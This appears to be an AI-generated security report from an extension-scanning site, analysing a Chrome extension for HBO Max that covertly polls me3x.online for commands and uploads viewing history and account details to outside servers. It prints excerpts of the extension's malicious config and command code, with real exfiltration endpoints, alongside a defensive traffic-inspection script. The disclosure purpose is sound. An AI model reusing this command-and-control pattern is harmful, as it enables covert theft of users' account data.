Is HBO Max HQ: change video quality [QVI] safe?
HBO Max HQ collects viewing history, account PII, and subscription data and transmits them to third-party servers under remote command.
The extension's service worker contacts me3x.online on startup to receive commands, then executes them against the user's Max account — collecting continue-watching history, show titles, bookmarks, genres, ratings, and subscription details, which it uploads to me3x.online in batches. Separately, it reads account profile fields (first name, username, territory, region, profile ID) from the Max API and forwards them to metricsmint.quest. The remote command channel also supports fetching live schedule data and arbitrary URLs from the user's session.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
me3x.online remotely directs collection of your Max account data
While signed in to Max, the background worker polls a server at me3x.online every 5 minutes for commands and URLs, then reads your profiles/subscriptions/watch history, uploading results; a config named the viewing-history API as a target.
You browse Max (HBO Max) while signed in to your account.
The extension's background worker asks a server it controls, me3x.online, what data to collect, then reads that data from your Max account and uploads it back.
No interaction with the extension is needed. The check-in and collection run automatically while you are on max.com or play.max.com.
| Field | Value | Why it matters | |
|---|---|---|---|
Max account ID | urn:hbo:account:GX1aB2c3D4e5F6g7 | The identifier of your Max (HBO Max) account. | |
Max profile ID | urn:hbo:profile:7d2e9f10-4b8a-4c11-9a3e-22e0c1d4f5a6 | The specific viewer profile selected on your account. | |
Extension user ID | b41f2c8a-90de-4f3b-8c7e-1a2b3c4d5e6f | A persistent identifier generated by the extension for your install, letting the server tie every check-in back to the same browser. | |
Country | US | The country/region associated with your Max account. | |
Browser language | en-US | Your browser's configured language. | |
Distribution / partner ID | 8cdf06a8 | A hardcoded value identifying this extension build to the server. Same for all users. |
The remote check-in and the server-defined command set, from the shipping source.
// Hardcoded remote server. uL is the base for all command traffic.
const config = {
Ec: 'https://me3x.online/',
QL: '8cdf06a8', // distribution / build id
d1: 'https://metricsmint.quest/up',
uL: 'https://me3x.online/n/' // base route for /max/start, /max/upload, /js/dlog
};// Sends the account check-in and returns the server's command list.
async function fetchCommandsToSend(initData) {
return postPlainJsonRequest(config.uL + 'max/start', initData);
}// The server may instruct the extension to run any of these against
// the user's authenticated Max account, then upload the results.
const CommandTypes = {
PROFILES: 'profiles',
CONTINUE_WATCHING: 'continue_watching',
GET_URLS: 'get_urls', // fetch arbitrary server-supplied Max URLs
SUBSCRIPTIONS: 'subscriptions',
GET_LIVE_SCHEDULE: 'get_live_schedule'
};- me3x.online
Remote command/config server. Receives check-in (/n/max/start, /config), returns Max API URLs and commands to collect, receives uploaded results (/n/max/upload, /upload-event).
- metricsmint.quest
Secondary endpoint referenced in the hardcoded config (d1 = metricsmint.quest/up).
Run in the extension's service worker DevTools console while signed in to Max. It wraps fetch() to log every request and response to me3x.online, so you can see the check-in payload and the collection commands the server returns without trusting the extension's own logging.
// me3x-checkin-inspector.js
// Logs all traffic to me3x.online from the extension service worker.
(function () {
const origFetch = self.fetch.bind(self);
self.fetch = async function (input, init) {
const url = typeof input === 'string' ? input : input.url;
const isC2 = /me3x\.online/.test(url);
if (isC2 && init && init.body) {
console.log('[ME3X] ->', url, '\n', init.body);
}
const res = await origFetch(input, init);
if (isC2) {
try {
const clone = res.clone();
const text = await clone.text();
console.log('[ME3X] <-', url, '\n', text);
} catch (e) {}
}
return res;
};
console.log('[ME3X_INSPECTOR] installed. Browse Max to capture check-in + command traffic.');
})();
- 1Install the extension and sign in at max.com.
- 2Open chrome://extensions, enable Developer mode, click the service worker link.
- 3Paste this script into the DevTools console.
- 4Browse Max and watch the console for [ME3X] entries.